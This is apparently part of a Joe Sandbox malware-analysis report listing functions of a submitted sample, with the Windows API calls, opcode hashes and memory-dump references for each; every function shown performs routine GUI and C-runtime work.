Associated: 00000000.00000002.1669137465.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669369734.00000000004CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669388962.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_38iGnQnL33.jbxd

Yara matches

Similarity

API ID: System$Metrics$InfoParameterslstrcpy
String ID: B$DISPLAY
API String ID: 1409579217-3316187204
Opcode ID: c48230f27a9b93901955acf69d76b45b0920e82272608cab2308051b31a830c2
Instruction ID: d1835996a7a32030bea17a6776afa59867e870f7cacabd61fa0fade1082c3051
Opcode Fuzzy Hash: c48230f27a9b93901955acf69d76b45b0920e82272608cab2308051b31a830c2
Instruction Fuzzy Hash: AA115E71A00A34EBCF119F65DC84A9BBBA8EF0A751B008073FD05AE185D2F59950CFA8

Function 00412137 Relevance: 10.5, APIs: 7, Instructions: 29COMMON

Download Yara Rule

APIs

GetSysColor.USER32(0000000F), ref: 00412143
GetSysColor.USER32(00000010), ref: 0041214A
GetSysColor.USER32(00000014), ref: 00412151
GetSysColor.USER32(00000012), ref: 00412158
GetSysColor.USER32(00000006), ref: 0041215F
GetSysColorBrush.USER32(0000000F), ref: 0041216C
GetSysColorBrush.USER32(00000006), ref: 00412173

Memory Dump Source

Source File: 00000000.00000002.1669137465.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669114404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669369734.00000000004CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669388962.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_38iGnQnL33.jbxd

Yara matches

Similarity

API ID: Color$Brush
String ID:
API String ID: 2798902688-0
Opcode ID: 870618839fa87ce508847c45d42f40cd70f8932904083b84831519e33e52db33
Instruction ID: 1cdc09f814dbc72ea244c657339c8ee2c44775d5afb0a9ecd4be97d3ea3effb6
Opcode Fuzzy Hash: 870618839fa87ce508847c45d42f40cd70f8932904083b84831519e33e52db33
Instruction Fuzzy Hash: 4BF01C71940B489BD730BF729D09B87BAE0FFC4B10F02092EE2858BA90E6F5A401DF44

Function 00410BFE Relevance: 9.1, APIs: 6, Instructions: 82windowCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00410C03
SendMessageA.USER32(?,0000001F,00000000,00000000), ref: 00410C50
SendMessageA.USER32(?,0000001F,00000000,00000000), ref: 00410C72
GetCapture.USER32 ref: 00410C84
SendMessageA.USER32(00000000,0000001F,00000000,00000000), ref: 00410C93
WinHelpA.USER32(?,?,?,?), ref: 00410CA7

Memory Dump Source

Source File: 00000000.00000002.1669137465.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669114404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669369734.00000000004CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669388962.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_38iGnQnL33.jbxd

Yara matches

Similarity

API ID: MessageSend$CaptureH_prologHelp
String ID:
API String ID: 432264411-0
Opcode ID: def846891c0d61a557cda832ac304aff4830f8a3901f05c6b8fa7090912a6dda
Instruction ID: 06ecc58ed55096177a45d2b5d0e29027bb804e24ec28d4b9b8bab30b6b95bfd9
Opcode Fuzzy Hash: def846891c0d61a557cda832ac304aff4830f8a3901f05c6b8fa7090912a6dda
Instruction Fuzzy Hash: B9219171600608BFEB206F65CC8AFEA7AB9EB44754F10853DF201971E2CBB58D419A14

Function 0041304F Relevance: 9.1, APIs: 6, Instructions: 67COMMON

Download Yara Rule

APIs

GetParent.USER32(?), ref: 00413082
GetLastActivePopup.USER32(?), ref: 00413091
IsWindowEnabled.USER32(?), ref: 004130A6
EnableWindow.USER32(?,00000000), ref: 004130B9
GetWindowLongA.USER32(?,000000F0), ref: 004130CB
GetParent.USER32(?), ref: 004130D9

Memory Dump Source

Source File: 00000000.00000002.1669137465.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669114404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669369734.00000000004CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669388962.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_38iGnQnL33.jbxd

Yara matches

Similarity

API ID: Window$Parent$ActiveEnableEnabledLastLongPopup
String ID:
API String ID: 670545878-0
Opcode ID: 6c53518823113db672fe3a7c571df162770d9d2799bd383d58537ead4b9b8f42
Instruction ID: 7dd3414d13fe5c9c91a92490d97aec97d3a8b8be7d286aa9db4dca3c1f9d34b9
Opcode Fuzzy Hash: 6c53518823113db672fe3a7c571df162770d9d2799bd383d58537ead4b9b8f42
Instruction Fuzzy Hash: 9E11E33270272157D2316E694C44BEBBADC5F98F62F15416AED00E330CDB28CE8046ED

Function 004126C2 Relevance: 9.0, APIs: 6, Instructions: 46COMMON

Download Yara Rule

APIs

ClientToScreen.USER32(?,?), ref: 004126D1
GetWindow.USER32(?,00000005), ref: 004126E2
GetDlgCtrlID.USER32(00000000), ref: 004126EB
GetWindowLongA.USER32(00000000,000000F0), ref: 004126FA
GetWindowRect.USER32(00000000,?), ref: 0041270C
PtInRect.USER32(?,?,?), ref: 0041271C

Memory Dump Source

Source File: 00000000.00000002.1669137465.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669114404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669369734.00000000004CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669388962.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_38iGnQnL33.jbxd

Yara matches

Similarity

API ID: Window$Rect$ClientCtrlLongScreen
String ID:
API String ID: 1315500227-0
Opcode ID: 84661850d97040524e2c45d78ffd0423d536d39a059a6cd7d416291802e4c8ed
Instruction ID: 59e1e90d647176ad07f56cd3846d54bb678d81f2e02ffd33bc7d3ca30fd80fac
Opcode Fuzzy Hash: 84661850d97040524e2c45d78ffd0423d536d39a059a6cd7d416291802e4c8ed
Instruction Fuzzy Hash: 17018B3210141AABDB12AB54DD08EEF376CEF84340F408132F921E61A0E7B8C9628B98

Function 00407C2B Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 115COMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32 ref: 00407C4A
GetEnvironmentVariableA.KERNEL32(__MSVCRT_HEAP_SELECT,?,00001090), ref: 00407C7F
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 00407CDF

Strings

__MSVCRT_HEAP_SELECT, xrefs: 00407C7A
__GLOBAL_HEAP_SELECTED, xrefs: 00407CB9

Memory Dump Source

Source File: 00000000.00000002.1669137465.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669114404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669369734.00000000004CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669388962.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_38iGnQnL33.jbxd

Yara matches

Similarity

API ID: EnvironmentFileModuleNameVariableVersion
String ID: __GLOBAL_HEAP_SELECTED$__MSVCRT_HEAP_SELECT
API String ID: 1385375860-4131005785
Opcode ID: a01e73442b239e6002b438961fcc8bcecaaf820e648e27815f21b4d6a83efd31
Instruction ID: 01b7be3dd723fd7afb2f110ae314c8bef16e6ab246b95de0869b7dea424fde8a
Opcode Fuzzy Hash: a01e73442b239e6002b438961fcc8bcecaaf820e648e27815f21b4d6a83efd31
Instruction Fuzzy Hash: 0131D171D4D2486AEB3297709C85BEE37689F02304F2404FBD145F52D2E63DAE85CB6A

Function 00402BDE Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 105librarystringloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll), ref: 00402C0D
GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryA), ref: 00402C41
lstrcpyn.KERNEL32(00000000,00000000,00000000), ref: 00402CC5

Strings

GetSystemWow64DirectoryA, xrefs: 00402C37
kernel32.dll, xrefs: 00402C06

Memory Dump Source

Source File: 00000000.00000002.1669137465.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669114404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669369734.00000000004CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669388962.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_38iGnQnL33.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProclstrcpyn
String ID: GetSystemWow64DirectoryA$kernel32.dll
API String ID: 2801827026-4063490227
Opcode ID: caf01f30c0621161b83dc4b03641027f3cb380ba3e3bed25679b02fb4ffa5887
Instruction ID: 6e5bc291bd336c63edd70308dbebc89b94681cbebd04bf5ba5f076a4d95fb70c
Opcode Fuzzy Hash: caf01f30c0621161b83dc4b03641027f3cb380ba3e3bed25679b02fb4ffa5887
Instruction Fuzzy Hash: 3B314170E41309BBEF109FA1CD4ABAEBB70AF08704F144435F504BA2D1D7FA5A149B99

Function 004106E8 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 101windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(00000000,00000405,00000000,?), ref: 004107A1
GetWindowLongA.USER32(?,000000FC), ref: 004107B2
GetWindowLongA.USER32(?,000000FC), ref: 004107C2
SetWindowLongA.USER32(?,000000FC,?), ref: 004107DE

Strings

(, xrefs: 0041078C

Memory Dump Source

Source File: 00000000.00000002.1669137465.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669114404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669369734.00000000004CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669388962.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_38iGnQnL33.jbxd

Yara matches

Similarity

API ID: LongWindow$MessageSend
String ID: (
API String ID: 2178440468-3887548279
Opcode ID: c9dda44021424377077538eff57c69ddecaef0004fb43bc4fc9c56e6167af751
Instruction ID: 20c318f3b15fc58e0559cf1439e83356823bd05365b819b4d2a101fcb42b069f
Opcode Fuzzy Hash: c9dda44021424377077538eff57c69ddecaef0004fb43bc4fc9c56e6167af751
Instruction Fuzzy Hash: DC31AE316006009FDB20AF65C884AAABBE4BF48314F14413EE452977D2CBB8F881CF98

Function 00414809 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 88stringCOMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,?,?), ref: 0041483A

Part of subcall function 00414926: lstrlen.KERNEL32(00000104,00000000,?,0041486A), ref: 0041495D

lstrcpy.KERNEL32(?,.HLP), ref: 004148DB
lstrcat.KERNEL32(?,.INI), ref: 00414908

Strings

.INI, xrefs: 00414902
.HLP, xrefs: 004148D5

Memory Dump Source

Source File: 00000000.00000002.1669137465.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669114404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669369734.00000000004CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669388962.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_38iGnQnL33.jbxd

Yara matches

Similarity

API ID: FileModuleNamelstrcatlstrcpylstrlen
String ID: .HLP$.INI
API String ID: 2421895198-3011182340
Opcode ID: d875beab4bb836bdf721f1bdd4285cca9175fdad2139a6bc120d6f1ae05823e0
Instruction ID: 7425f5f712587b159f217cfaecaa6eb2d6c26a326c1149a82c988d625c632233
Opcode Fuzzy Hash: d875beab4bb836bdf721f1bdd4285cca9175fdad2139a6bc120d6f1ae05823e0
Instruction Fuzzy Hash: 473152B5804719AFDB21EF71DC85FC6B7FCAB04314F10496BE18AD2191DB74AAC48B58

Function 004059B7 Relevance: 7.8, APIs: 5, Instructions: 278COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1669137465.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669114404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669369734.00000000004CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669388962.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_38iGnQnL33.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7ac81cde1dd3b0661af1c6fdfeb5ac41659ed2613d49a5b2128c09f5e959713
Instruction ID: 69032cf1e333524d99a584a388b5df688e999868acaba62c2e267100cefdc174
Opcode Fuzzy Hash: d7ac81cde1dd3b0661af1c6fdfeb5ac41659ed2613d49a5b2128c09f5e959713
Instruction Fuzzy Hash: EB91F471D04A14AEEF21AB699C859EF7AB8EB04364F240237F815B62D1D7398D40DF6C

Function 00407974 Relevance: 7.6, APIs: 5, Instructions: 150COMMON

Download Yara Rule

APIs

GetStartupInfoA.KERNEL32(?), ref: 004079D2
GetFileType.KERNEL32(?,?,00000000), ref: 00407A7D
GetStdHandle.KERNEL32(-000000F6,?,00000000), ref: 00407AE0
GetFileType.KERNEL32(00000000,?,00000000), ref: 00407AEE
SetHandleCount.KERNEL32 ref: 00407B25

Memory Dump Source

Source File: 00000000.00000002.1669137465.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669114404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669369734.00000000004CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669388962.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_38iGnQnL33.jbxd

Yara matches

Similarity

API ID: FileHandleType$CountInfoStartup
String ID:
API String ID: 1710529072-0
Opcode ID: 67a7f516cdff1c5d2323224d8000fa544b767c088ca6dc89063014c4489288fd
Instruction ID: 2bb7612e64074a1b1e8772757132168d699117d21bf0c3b436cb5ed12f6bae1d
Opcode Fuzzy Hash: 67a7f516cdff1c5d2323224d8000fa544b767c088ca6dc89063014c4489288fd
Instruction Fuzzy Hash: 3E511C31E08641EFD711CB28C848B6A77E0EB41368F24867ED592A73E1D738ED05CB5A

Function 0040EA2E Relevance: 7.6, APIs: 5, Instructions: 65memorystringCOMMON

Download Yara Rule

APIs

GlobalFix.KERNEL32(?), ref: 0040EA4E
lstrcmp.KERNEL32(?,?), ref: 0040EA5A
GlobalAlloc.KERNEL32(00000042,00000000,00000000,?,?,00000000,00000000,00000000,?,?,00000000), ref: 0040EA97
GlobalFix.KERNEL32(00000000), ref: 0040EAA4
73CF5F50.WINSPOOL.DRV(?,00000000,?,?,00000000,00000000,00000002), ref: 0040EACF

Part of subcall function 004127A8: GlobalFlags.KERNEL32(?), ref: 004127B2
Part of subcall function 004127A8: GlobalUnWire.KERNEL32(?), ref: 004127C9
Part of subcall function 004127A8: GlobalFree.KERNEL32(?), ref: 004127D4

Memory Dump Source

Source File: 00000000.00000002.1669137465.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669114404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669369734.00000000004CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669388962.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_38iGnQnL33.jbxd

Yara matches

Similarity

API ID: Global$AllocF50.FlagsFreeWirelstrcmp
String ID:
API String ID: 2680671941-0
Opcode ID: ee33829d2889579549bffc58ae98ad39f609a634afbd3fff607b665d9ee3eac9
Instruction ID: ffd589bc7368b42b6fffe6972cb2edbd42c1ce3e526e22a6dd8976f7eead9b3a
Opcode Fuzzy Hash: ee33829d2889579549bffc58ae98ad39f609a634afbd3fff607b665d9ee3eac9
Instruction Fuzzy Hash: A511C131600104BADB21AB77CC4AEAF7AADEF89714F04483AF619E1152D679CD60DB28

Function 00410B17 Relevance: 7.6, APIs: 5, Instructions: 52stringregistryCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00410B1C
GetClassInfoA.USER32(?,?,?), ref: 00410B37
RegisterClassA.USER32(00000004), ref: 00410B42
lstrcat.KERNEL32(00000034,?), ref: 00410B79
lstrcat.KERNEL32(00000034,?), ref: 00410B87

Memory Dump Source

Source File: 00000000.00000002.1669137465.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669114404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669369734.00000000004CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669388962.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_38iGnQnL33.jbxd

Yara matches

Similarity

API ID: Classlstrcat$H_prologInfoRegister
String ID:
API String ID: 106226465-0
Opcode ID: c341f97e50edc3352c6675ed49c087328f4589e51e5dc4156c88f47584d8212a
Instruction ID: db0b5e66995e751e7ef3a4c99b21f25caacf1acb117c20373e23ec669a213c2d
Opcode Fuzzy Hash: c341f97e50edc3352c6675ed49c087328f4589e51e5dc4156c88f47584d8212a
Instruction Fuzzy Hash: BF11E576904308FEDB10AFA4DC01BDE7BB8AF44718F00456AF905A7191C7B8AA818B69

Function 00403750 Relevance: 7.5, APIs: 5, Instructions: 47windowCOMMON

Download Yara Rule

APIs

PeekMessageA.USER32(00000000,00000000,00000000,00000000,00000000), ref: 0040376A
GetMessageA.USER32(?,00000000,00000000,00000000), ref: 00403794
TranslateMessage.USER32(?), ref: 0040379B
DispatchMessageA.USER32(?), ref: 004037A2
PeekMessageA.USER32(?,00000000,00000000,00000000,00000000), ref: 004037B1

Memory Dump Source

Source File: 00000000.00000002.1669137465.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669114404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000419000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.0000000000484000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004B9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669137465.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669369734.00000000004CC000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1669388962.00000000004CE000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_38iGnQnL33.jbxd

Yara matches

Similarity

API ID: Message$Peek$DispatchTranslate
String ID:
API String ID: 1795658109-0
Opcode ID: 15ad0e7952a90d253d73a7e49fdd3765278189eb47b93ba54b576e893b1f7779
Instruction ID: 4c44238e47c9fb3a7e9335cddfea40e879e712b673309729586285885fda857b
Opcode Fuzzy Hash: 15ad0e7952a90d253d73a7e49fdd3765278189eb47b93ba54b576e893b1f7779
Instruction Fuzzy Hash: DB0136B6240305B6E220DB549C42FE7776CABC4B51F544969FB006B1D0D7B5F508CAAA

Function 00407B97 Relevance: 7.5, APIs: 5, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000001,?,0040735F,0040C208,?,0040812C,00000000,?,00000001,00000800,004034A4,00000000,?,00408914,?,?), ref: 00407B99
TlsGetValue.KERNEL32(?,00408914,?,?,?,00408344,00000000,?,00000000), ref: 00407BA7
SetLastError.KERNEL32(00000000,?,00408914,?,?,?,00408344,00000000,?,00000000), ref: 00407BF3

Part of subcall function 0040B5BB: RtlAllocateHeap.NTDLL(00000008,00000000,00000000), ref: 0040B6B1

TlsSetValue.KERNEL32(00000000,?,00408914,?,?,?,00408344,00000000,?,00000000), ref: 00407BCB
GetCurrentThreadId.KERNEL32 ref: 00407BDC

Memory Dump Source

Source File: 00000000.00000002.1669137465.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1669114404.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
